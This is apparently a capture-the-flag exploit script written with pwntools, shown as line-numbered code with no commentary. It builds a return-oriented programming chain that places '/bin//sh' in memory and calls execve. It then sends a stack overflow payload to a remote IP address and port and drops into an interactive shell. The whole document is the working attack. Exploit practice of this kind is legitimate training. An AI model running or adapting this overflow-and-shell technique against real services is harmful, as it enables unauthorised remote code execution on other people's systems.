1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import * from pwnlib.util.proc import wait_for_debugger
from struct import pack
p = '' p += pack('<Q', 0x00000000004100d3) p += pack('<Q', 0x00000000006b90e0) p += pack('<Q', 0x00000000004494ac) p += '/bin//sh' p += pack('<Q', 0x000000000047f261) p += pack('<Q', 0x00000000004100d3) p += pack('<Q', 0x00000000006b90e8) p += pack('<Q', 0x0000000000444840) p += pack('<Q', 0x000000000047f261) p += pack('<Q', 0x0000000000400686) p += pack('<Q', 0x00000000006b90e0) p += pack('<Q', 0x00000000004100d3) p += pack('<Q', 0x00000000006b90e8) p += pack('<Q', 0x0000000000449505) p += pack('<Q', 0x00000000006b90e8) p += pack('<Q', 0x0000000000444840) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x00000000004746b0) p += pack('<Q', 0x000000000040123c) context.log_level = 'debug'
a = remote("38.39.244.2", 28047)
context.arch = "amd64" payload = 'a' * (0x70 + 0x8) payload += p a.sendline() a.sendline(payload) a.interactive()
|